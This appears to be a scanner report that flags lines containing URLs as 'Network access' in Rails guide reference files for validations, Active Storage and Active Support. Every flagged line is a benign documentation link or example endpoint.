    [`increment!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21 [`increment_counter`]:
  • Network accessline 194
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21
  • Network accessline 195
    [`increment_counter`]:     https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter [`insert`]:
  • Network accessline 196
    https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter
  • Network accessline 197
    [`insert`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert [`insert!`]:
  • Network accessline 198
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert
  • Network accessline 199
    [`insert!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21 [`insert_all`]:
  • Network accessline 200
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21
  • Network accessline 201
    [`insert_all`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all [`insert_all!`]:
  • Network accessline 202
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all
  • Network accessline 203
    [`insert_all!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21 [`toggle!`]:
  • Network accessline 204
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21
  • Network accessline 205
    [`toggle!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-toggle-21 [`touch`]:
  • Network accessline 206
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-toggle-21
  • Network accessline 207
    [`touch`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch [`touch_all`]:
  • Network accessline 208
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch
  • Network accessline 209
    [`touch_all`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all [`update_all`]:
  • Network accessline 210
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all
  • Network accessline 211
    [`update_all`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all [`update_attribute`]:
  • Network accessline 212
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all
  • Network accessline 213
    [`update_attribute`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute [`update_attribute!`]:
  • Network accessline 214
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute
  • Network accessline 215
    [`update_attribute!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute-21 [`update_column`]:
  • Network accessline 216
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_attribute-21
  • Network accessline 217
    [`update_column`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column [`update_columns`]:
  • Network accessline 218
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column
  • Network accessline 219
    [`update_columns`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns [`update_counters`]:
  • Network accessline 220
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns
  • Network accessline 221
    [`update_counters`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters [`upsert`]:
  • Network accessline 222
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters
  • Network accessline 223
    [`upsert`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert [`upsert_all`]:
  • Network accessline 224
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert
  • Network accessline 226
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert_all
  • Network accessline 289
    [`errors`]:     https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-errors
  • Network accessline 290
    https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-errors
  • Network accessline 291
    [`invalid?`]:     https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F [`valid?`]:
  • Network accessline 292
    https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F
  • Network accessline 294
    https://api.rubyonrails.org/classes/ActiveRecord/Validations.html#method-i-valid-3F
  • Network accessline 326
    Additionally, you can use the [`errors.add`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add)
  • Network accessline 327
    [`errors.add`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add)
  • Network accessline 342
    [Errors#squarebrackets]:     https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-5B-5D
  • Network accessline 343
    https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-5B-5D
  • Network accessline 391
    [`ActiveModel::Validations::HelperMethods`]:     https://api.rubyonrails.org/classes/ActiveModel/Validations/HelperMethods.html
  • Network accessline 392
    https://api.rubyonrails.org/classes/ActiveModel/Validations/HelperMethods.html
  • Network accessline 467
    [`Object#present?`]:     https://api.rubyonrails.org/classes/Object.html#method-i-present-3F
  • Network accessline 468
    https://api.rubyonrails.org/classes/Object.html#method-i-present-3F
  • Network accessline 591
    NOTE: The validator requires a compare option be supplied. Each option accepts a value, proc, or symbol. Any class that includes [Comparable](https://docs.ruby-lang.org/en/master/Comparable.html) can be compared.
  • Network accessline 593
    [Comparable](https://docs.ruby-lang.org/en/master/Comparable.html) can be compared.
  • Network accessline 859
    [`Object#blank?`]:     https://api.rubyonrails.org/classes/Object.html#method-i-blank-3F
  • Network accessline 860
    https://api.rubyonrails.org/classes/Object.html#method-i-blank-3F
  • Network accessline 927
    [`validates_uniqueness_of`]:     https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_uniqueness_of
  • Network accessline 928
    https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_uniqueness_of
  • Network accessline 929
    [`add_index`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index [the MySQL manual]:
  • Network accessline 930
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index
  • Network accessline 931
    [the MySQL manual]:     https://dev.mysql.com/doc/refman/en/multiple-column-indexes.html [the MariaDB manual]: https://mariadb.com/kb/en/compound-composite-indexes/
  • Network accessline 932
    https://dev.mysql.com/doc/refman/en/multiple-column-indexes.html
  • Network accessline 933
    [the MariaDB manual]: https://mariadb.com/kb/en/compound-composite-indexes/
  • Network accessline 935
    https://www.postgresql.org/docs/current/static/ddl-constraints.html
  • Network accessline 963
    [`validates_associated`]:     https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_associated
  • Network accessline 964
    https://api.rubyonrails.org/classes/ActiveRecord/Validations/ClassMethods.html#method-i-validates_associated
  • Network accessline 989
    [`validates_each`]:     https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each
  • Network accessline 990
    https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each
  • Network accessline 1106
    [`validates_with`]:     https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with
  • Network accessline 1107
    https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with
  • Network accessline 1126
    [`ActiveModel::Validations`]:     https://api.rubyonrails.org/classes/ActiveModel/Validations.html
  • Network accessline 1127
    https://api.rubyonrails.org/classes/ActiveModel/Validations.html
  • Network accessline 1182
    `%{attribute}`, and `%{model}` which will be dynamically replaced when validation fails. This replacement is done using the [i18n gem](https://github.com/ruby-i18n/i18n), and the placeholders must match
  • Network accessline 1183
    validation fails. This replacement is done using the [i18n gem](https://github.com/ruby-i18n/i18n), and the placeholders must match exactly, no spaces are allowed.
  • Network accessline 1184
    gem](https://github.com/ruby-i18n/i18n), and the placeholders must match
  • Network accessline 1370
    [`with_options`]:     https://api.rubyonrails.org/classes/Object.html#method-i-with_options
  • Network accessline 1371
    https://api.rubyonrails.org/classes/Object.html#method-i-with_options
  • Network accessline 1463
    [`validate`]:     https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate
  • Network accessline 1464
    https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate
  • Network accessline 1517
    [`ActiveModel::EachValidator`]:     https://api.rubyonrails.org/classes/ActiveModel/EachValidator.html
  • Network accessline 1518
    https://api.rubyonrails.org/classes/ActiveModel/EachValidator.html
  • Network accessline 1520
    https://api.rubyonrails.org/classes/ActiveModel/Validator.html
  • Network accessline 1643
    [`ActiveModel::Errors`]:     https://api.rubyonrails.org/classes/ActiveModel/Errors.html
  • Network accessline 1644
    https://api.rubyonrails.org/classes/ActiveModel/Errors.html
  • Network accessline 1680
    [`ActiveModel::Error`]:     https://api.rubyonrails.org/classes/ActiveModel/Error.html
  • Network accessline 1681
    https://api.rubyonrails.org/classes/ActiveModel/Error.html
  • Network accessline 1793
    [`full_message`]:     https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-full_message
  • Network accessline 1794
    https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-full_message
  • Network accessline 1796
    https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-where
  • Network accessline 1820
    [`add`]:     https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add
  • Network accessline 1821
    https://api.rubyonrails.org/classes/ActiveModel/Errors.html#method-i-add

packages/autoskills/skills-registry/rails-guides/references/active_storage_overview.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 2
    <https://guides.rubyonrails.org>.**
  • Network accessline 80
    * [libvips](https://github.com/libvips/libvips) or
  • Network accessline 81
    [ImageMagick](https://imagemagick.org/index.php) - for image analysis and
  • Network accessline 82
    transformations. * [ffmpeg](http://ffmpeg.org/) - for video previews and ffprobe for video/audio   analysis.
  • Network accessline 83
    * [ffmpeg](http://ffmpeg.org/) - for video previews and ffprobe for video/audio
  • Network accessline 84
    analysis. * [poppler](https://poppler.freedesktop.org/) or [muPDF](https://mupdf.com/) -   for PDF previews.
  • Network accessline 85
    * [poppler](https://poppler.freedesktop.org/) or [muPDF](https://mupdf.com/) -
  • Network accessline 135
    These routes are mounted under `/rails/active_storage` by default. For example, So when someone requests a file attachment in your app, the URL may look like `https://example.com/rails/active_storage/blobs/redirect/eyJf.../photo.jpg`. You c
  • Network accessline 137
    `https://example.com/rails/active_storage/blobs/redirect/eyJf.../photo.jpg`. You can see all the routes by running:
  • Network accessline 144
    `config.active_storage.routes_prefix` in `config/application.rb`. It accepts any value supported by Rails' [`scope`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-scope) routing method:
  • Network accessline 146
    [`scope`](https://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html#method-i-scope) routing method:
  • Network accessline 230
    [`has_one_attached`]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_one_attached
  • Network accessline 231
    https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_one_attached
  • Network accessline 232
    [Attached::One#attach]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-attach [Attached::One#attached?]:
  • Network accessline 233
    https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-attach
  • Network accessline 235
    https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-attached-3F
  • Network accessline 304
    [`has_many_attached`]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_many_attached
  • Network accessline 305
    https://api.rubyonrails.org/classes/ActiveStorage/Attached/Model.html#method-i-has_many_attached
  • Network accessline 306
    [Attached::Many#attach]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/Many.html#method-i-attach [Attached::Many#attached?]:
  • Network accessline 307
    https://api.rubyonrails.org/classes/ActiveStorage/Attached/Many.html#method-i-attach
  • Network accessline 309
    https://api.rubyonrails.org/classes/ActiveStorage/Attached/Many.html#method-i-attached-3F
  • Network accessline 345
    [ActiveStorage::Blob#signed_id]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-signed_id
  • Network accessline 346
    https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-signed_id
  • Network accessline 517
    url_for(user.profile_photo) # => https://www.example.com/rails/active_storage/blobs/redirect/:signed_id/my-profile-photo.png
  • Network accessline 518
    # => https://www.example.com/rails/active_storage/blobs/redirect/:signed_id/my-profile-photo.png
  • Network accessline 528
    To create a download link, use the `rails_blob_{path|url}` helpers. These helpers generate the same permanent Rails URL but allow you to specify the file [Content-Disposition Header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Referen
  • Network accessline 530
    [Content-Disposition Header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Disposition).
  • Network accessline 548
    [ActionView::RoutingUrlFor#url_for]: https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for
  • Network accessline 549
    https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for
  • Network accessline 551
    https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-signed_id
  • Network accessline 679
    [`ActiveStorage::Blobs::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Blobs/RedirectController.html
  • Network accessline 680
    https://api.rubyonrails.org/classes/ActiveStorage/Blobs/RedirectController.html
  • Network accessline 681
    [`ActiveStorage::Blobs::ProxyController`]: https://api.rubyonrails.org/classes/ActiveStorage/Blobs/ProxyController.html [`ActiveStorage::Representations::RedirectController`]:
  • Network accessline 682
    https://api.rubyonrails.org/classes/ActiveStorage/Blobs/ProxyController.html
  • Network accessline 683
    [`ActiveStorage::Representations::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html [`ActiveStorage::Representations::ProxyController`]:
  • Network accessline 684
    https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html
  • Network accessline 686
    https://api.rubyonrails.org/classes/ActiveStorage/Representations/ProxyController.html
  • Network accessline 750
    [Blob#download]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-download
  • Network accessline 751
    https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-download
  • Network accessline 753
    https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-open
  • Network accessline 775
    [Attached::One#purge]: https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-purge
  • Network accessline 776
    https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-purge
  • Network accessline 778
    https://api.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-purge_later
  • Network accessline 789
    There are cases where a file is uploaded but never attached to a record. This can happen when using [Direct Uploads](#direct-uploads). You can query for unattached records using the [unattached scope](https://api.rubyonrails.org/classes/Act
  • Network accessline 790
    can happen when using [Direct Uploads](#direct-uploads). You can query for unattached records using the [unattached scope](https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-c-unattached). Below is an example using a [custom
  • Network accessline 791
    unattached records using the [unattached scope](https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-c-unattached). Below is an
  • Network accessline 806
    There is also a [`detach`](https://edgeapi.rubyonrails.org/classes/ActiveStorage/Attached/One.html#method-i-detach) method, which deletes the associated attachments but leaves the blobs in place. This intentionally orphans the blob and leav
  • Network accessline 899
    [`metadata`][]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-metadata
  • Network accessline 900
    https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-metadata
  • Network accessline 902
    https://api.rubyonrails.org/classes/ActiveStorage/Blob/Analyzable.html#method-i-analyzed-3F
  • Network accessline 914
    You can configure specific variants for attachments by calling the [`variant`](https://api.rubyonrails.org/classes/ActiveStorage/Variant.html)
  • Network accessline 915
    [`variant`](https://api.rubyonrails.org/classes/ActiveStorage/Variant.html)
  • Network accessline 965
    command injection vulnerabilities in your app. It is also recommended to implement a strict [ImageMagick security policy](https://imagemagick.org/script/security-policy.php) when MiniMagick is
  • Network accessline 966
    implement a strict [ImageMagick security policy](https://imagemagick.org/script/security-policy.php) when MiniMagick is the variant processor of choice. With ruby-vips, you can
  • Network accessline 967
    policy](https://imagemagick.org/script/security-policy.php) when MiniMagick is
  • Network accessline 968
    the variant processor of choice. With ruby-vips, you can [block untrusted formats][https://www.libvips.org/2022/05/28/What's-new-in-8.13.html#blocking-of-unfuzzed-loaders] by setting `VIPS_BLOCK_UNTRUSTED` environment variable or calling
  • Network accessline 969
    [block untrusted formats][https://www.libvips.org/2022/05/28/What's-new-in-8.13.html#blocking-of-unfuzzed-loaders]
  • Network accessline 987
    [`preview`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-preview
  • Network accessline 988
    https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-preview
  • Network accessline 990
    https://api.rubyonrails.org/classes/ActiveStorage/Preview.html
  • Network accessline 1022
    [`representable?`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-representable-3F
  • Network accessline 1023
    https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-representable-3F
  • Network accessline 1025
    https://api.rubyonrails.org/classes/ActiveStorage/Blob/Representable.html#method-i-representation
  • Network accessline 1079
    configuring.html#config-active-storage-track-variants [`ActiveStorage::Representations::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html
  • Network accessline 1080
    [`ActiveStorage::Representations::RedirectController`]: https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html [`with_all_variant_records`]:
  • Network accessline 1081
    https://api.rubyonrails.org/classes/ActiveStorage/Representations/RedirectController.html
  • Network accessline 1083
    https://api.rubyonrails.org/classes/ActiveStorage/Attachment.html#method-c-with_all_variant_records
  • Network accessline 1234
    The S3 Service supports all of the authentication options described in the [AWS SDK documentation](https://docs.aws.amazon.com/sdk-for-ruby/v3/developer-guide/setup-config.html).
  • Network accessline 1236
    documentation](https://docs.aws.amazon.com/sdk-for-ruby/v3/developer-guide/setup-config.html).
  • Network accessline 1242
    digitalocean:   service: S3   endpoint: https://nyc3.digitaloceanspaces.com
  • Network accessline 1243
    service: S3   endpoint: https://nyc3.digitaloceanspaces.com   access_key_id: <%= Rails.application.credentials.dig(:digitalocean, :access_key_id) %>
  • Network accessline 1244
    endpoint: https://nyc3.digitaloceanspaces.com
  • Network accessline 1256
    There are many other options available. You can see them in the [AWS S3 Client](https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/S3/Client.html#initialize-instance_method)
  • Network accessline 1257
    Client](https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/S3/Client.html#initialize-instance_method)
  • Network accessline 1262
    You'll need  to add the [`google-cloud-storage`](https://github.com/GoogleCloudPlatform/google-cloud-ruby/tree/main/google-cloud-storage)
  • Network accessline 1263
    [`google-cloud-storage`](https://github.com/GoogleCloudPlatform/google-cloud-ruby/tree/main/google-cloud-storage)
  • Network accessline 1296
    client_email: ""     client_id: ""     auth_uri: "https://accounts.google.com/o/oauth2/auth"
  • Network accessline 1297
    client_id: ""     auth_uri: "https://accounts.google.com/o/oauth2/auth"     token_uri: "https://accounts.google.com/o/oauth2/token"
  • Network accessline 1298
    auth_uri: "https://accounts.google.com/o/oauth2/auth"
  • Network accessline 1299
    token_uri: "https://accounts.google.com/o/oauth2/token"
  • Network accessline 1300
    auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs"
  • Network accessline 1307
    You can optionally use [IAM](https://cloud.google.com/storage/docs/access-control/signed-urls#signing-iam)
  • Network accessline 1308
    [IAM](https://cloud.google.com/storage/docs/access-control/signed-urls#signing-iam)
  • Network accessline 1310
    authenticating your GKE (Google Kubernetes Engine) applications with Workload Identity, see [this Google Cloud blog post](https://cloud.google.com/blog/products/containers-kubernetes/introducing-workload-identity-better-authentication-for-y
  • Network accessline 1311
    Identity, see [this Google Cloud blog post](https://cloud.google.com/blog/products/containers-kubernetes/introducing-workload-identity-better-authentication-for-your-gke-applications) for more information.
  • Network accessline 1312
    post](https://cloud.google.com/blog/products/containers-kubernetes/introducing-workload-identity-better-authentication-for-your-gke-applications)
  • Network accessline 1322
    You can specify a GSA (Google Service Account) when signing URLs. When using IAM, the [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) will
  • Network accessline 1323
    IAM, the [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) will be contacted to get the GSA email, but this metadata server is not always
  • Network accessline 1324
    server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) will
  • Network accessline 1410
    Make sure your buckets are properly configured for public access. See docs on how to enable public read permissions for [Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/block-public-access-bucket.html)
  • Network accessline 1411
    how to enable public read permissions for [Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/block-public-access-bucket.html) and [Google Cloud
  • Network accessline 1412
    S3](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/block-public-access-bucket.html)
  • Network accessline 1413
    and [Google Cloud Storage](https://cloud.google.com/storage/docs/access-control/making-data-public#buckets) storage services. Amazon S3 additionally requires that you have the
  • Network accessline 1414
    Storage](https://cloud.google.com/storage/docs/access-control/making-data-public#buckets)
  • Network accessline 1424
    If you need to support a cloud service other than the ones covered above, you can implement your custom service by extending [`ActiveStorage::Service`](https://api.rubyonrails.org/classes/ActiveStorage/Service.html)
  • Network accessline 1425
    can implement your custom service by extending [`ActiveStorage::Service`](https://api.rubyonrails.org/classes/ActiveStorage/Service.html) and implementing the methods necessary to upload and download files to the
  • Network accessline 1426
    [`ActiveStorage::Service`](https://api.rubyonrails.org/classes/ActiveStorage/Service.html) and implementing the methods necessary to upload and download files to the cloud.
  • Network accessline 1529
    * [S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/enabling-cors-examples.html)
  • Network accessline 1530
    * [Google Cloud Storage](https://cloud.google.com/storage/docs/configuring-cors)
  • Network accessline 1557
    ],     "AllowedOrigins": [       "https://www.example.com"
  • Network accessline 1558
    "AllowedOrigins": [       "https://www.example.com"     ],
  • Network accessline 1559
    "https://www.example.com"
  • Network accessline 1569
    [   {     "origin": ["https://www.example.com"],
  • Network accessline 1570
    {     "origin": ["https://www.example.com"],     "method": ["PUT"],
  • Network accessline 1571
    "origin": ["https://www.example.com"],
  • Network accessline 1599
    ![direct-uploads](https://user-images.githubusercontent.com/5355/28694528-16e69d0c-72f8-11e7-91a7-c0b8cfc90391.gif)
  • Network accessline 1838
    There is a [`file_fixture_upload`](https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html#method-i-file_fixture_upload)
  • Network accessline 1839
    [`file_fixture_upload`](https://api.rubyonrails.org/classes/ActionDispatch/TestProcess/FixtureFile.html#method-i-file_fixture_upload)

packages/autoskills/skills-registry/rails-guides/references/active_support_core_extensions.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 134
    [Object#blank?]: https://api.rubyonrails.org/classes/Object.html#method-i-blank-3F
  • Network accessline 135
    [Object#present?]: https://api.rubyonrails.org/classes/Object.html#method-i-present-3F
  • Network accessline 147
    [Object#presence]: https://api.rubyonrails.org/classes/Object.html#method-i-presence
  • Network accessline 175
    [Object#duplicable?]: https://api.rubyonrails.org/classes/Object.html#method-i-duplicable-3F
  • Network accessline 222
    [Object#deep_dup]: https://api.rubyonrails.org/classes/Object.html#method-i-deep_dup
  • Network accessline 266
    [Object#try]: https://api.rubyonrails.org/classes/Object.html#method-i-try
  • Network accessline 267
    [Object#try!]: https://api.rubyonrails.org/classes/Object.html#method-i-try-21
  • Network accessline 290
    [Kernel#class_eval]: https://api.rubyonrails.org/classes/Kernel.html#method-i-class_eval
  • Network accessline 311
    [Object#acts_like?]: https://api.rubyonrails.org/classes/Object.html#method-i-acts_like-3F
  • Network accessline 357
    [Array#to_param]: https://api.rubyonrails.org/classes/Array.html#method-i-to_param
  • Network accessline 358
    [Object#to_param]: https://api.rubyonrails.org/classes/Object.html#method-i-to_param
  • Network accessline 409
    [Hash#to_query]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_query
  • Network accessline 410
    [Object#to_query]: https://api.rubyonrails.org/classes/Object.html#method-i-to_query
  • Network accessline 453
    [Object#with_options]: https://api.rubyonrails.org/classes/Object.html#method-i-with_options
  • Network accessline 482
    [Object#instance_values]: https://api.rubyonrails.org/classes/Object.html#method-i-instance_values
  • Network accessline 500
    [Object#instance_variable_names]: https://api.rubyonrails.org/classes/Object.html#method-i-instance_variable_names
  • Network accessline 521
    [Kernel#enable_warnings]: https://api.rubyonrails.org/classes/Kernel.html#method-i-enable_warnings
  • Network accessline 522
    [Kernel#silence_warnings]: https://api.rubyonrails.org/classes/Kernel.html#method-i-silence_warnings
  • Network accessline 523
    [Kernel#suppress]: https://api.rubyonrails.org/classes/Kernel.html#method-i-suppress
  • Network accessline 540
    [Object#in?]: https://api.rubyonrails.org/classes/Object.html#method-i-in-3F
  • Network accessline 561
    [Module#alias_attribute]: https://api.rubyonrails.org/classes/Module.html#method-i-alias_attribute
  • Network accessline 601
    [Module#attr_internal]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal
  • Network accessline 602
    [Module#attr_internal_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_accessor
  • Network accessline 603
    [Module#attr_internal_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_reader
  • Network accessline 604
    [Module#attr_internal_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-attr_internal_writer
  • Network accessline 620
    [Module#mattr_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_accessor
  • Network accessline 621
    [Module#mattr_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_reader
  • Network accessline 622
    [Module#mattr_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-mattr_writer
  • Network accessline 649
    [Module#module_parent]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parent
  • Network accessline 674
    [Module#module_parent_name]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parent_name
  • Network accessline 695
    [Module#module_parents]: https://api.rubyonrails.org/classes/Module.html#method-i-module_parents
  • Network accessline 737
    [Module#anonymous?]: https://api.rubyonrails.org/classes/Module.html#method-i-anonymous-3F
  • Network accessline 833
    [Module#delegate]: https://api.rubyonrails.org/classes/Module.html#method-i-delegate
  • Network accessline 854
    [Module#delegate_missing_to]: https://api.rubyonrails.org/classes/Module.html#method-i-delegate_missing_to
  • Network accessline 868
    [Module#redefine_method]: https://api.rubyonrails.org/classes/Module.html#method-i-redefine_method
  • Network accessline 869
    [Module#silence_redefinition_of_method]: https://api.rubyonrails.org/classes/Module.html#method-i-silence_redefinition_of_method
  • Network accessline 958
    [Class#class_attribute]: https://api.rubyonrails.org/classes/Class.html#method-i-class_attribute
  • Network accessline 1017
    [Module#cattr_accessor]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_accessor
  • Network accessline 1018
    [Module#cattr_reader]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_reader
  • Network accessline 1019
    [Module#cattr_writer]: https://api.rubyonrails.org/classes/Module.html#method-i-cattr_writer
  • Network accessline 1045
    [Class#descendants]: https://api.rubyonrails.org/classes/Class.html#method-i-descendants
  • Network accessline 1123
    [`raw`]: https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw
  • Network accessline 1124
    [String#html_safe]: https://api.rubyonrails.org/classes/String.html#method-i-html_safe
  • Network accessline 1154
    [String#remove]: https://api.rubyonrails.org/classes/String.html#method-i-remove
  • Network accessline 1170
    [String#squish]: https://api.rubyonrails.org/classes/String.html#method-i-squish
  • Network accessline 1210
    [String#truncate]: https://api.rubyonrails.org/classes/String.html#method-i-truncate
  • Network accessline 1230
    [String#truncate_bytes]: https://api.rubyonrails.org/classes/String.html#method-i-truncate_bytes
  • Network accessline 1264
    [String#truncate_words]: https://api.rubyonrails.org/classes/String.html#method-i-truncate_words
  • Network accessline 1277
    [String#inquiry]: https://api.rubyonrails.org/classes/String.html#method-i-inquiry
  • Network accessline 1315
    [String#strip_heredoc]: https://api.rubyonrails.org/classes/String.html#method-i-strip_heredoc
  • Network accessline 1354
    [String#indent!]: https://api.rubyonrails.org/classes/String.html#method-i-indent-21
  • Network accessline 1355
    [String#indent]: https://api.rubyonrails.org/classes/String.html#method-i-indent
  • Network accessline 1372
    [String#at]: https://api.rubyonrails.org/classes/String.html#method-i-at
  • Network accessline 1387
    [String#from]: https://api.rubyonrails.org/classes/String.html#method-i-from
  • Network accessline 1402
    [String#to]: https://api.rubyonrails.org/classes/String.html#method-i-to
  • Network accessline 1412
    [String#first]: https://api.rubyonrails.org/classes/String.html#method-i-first
  • Network accessline 1422
    [String#last]: https://api.rubyonrails.org/classes/String.html#method-i-last
  • Network accessline 1458
    [String#pluralize]: https://api.rubyonrails.org/classes/String.html#method-i-pluralize
  • Network accessline 1483
    [String#singularize]: https://api.rubyonrails.org/classes/String.html#method-i-singularize
  • Network accessline 1533
    [String#camelcase]: https://api.rubyonrails.org/classes/String.html#method-i-camelcase
  • Network accessline 1534
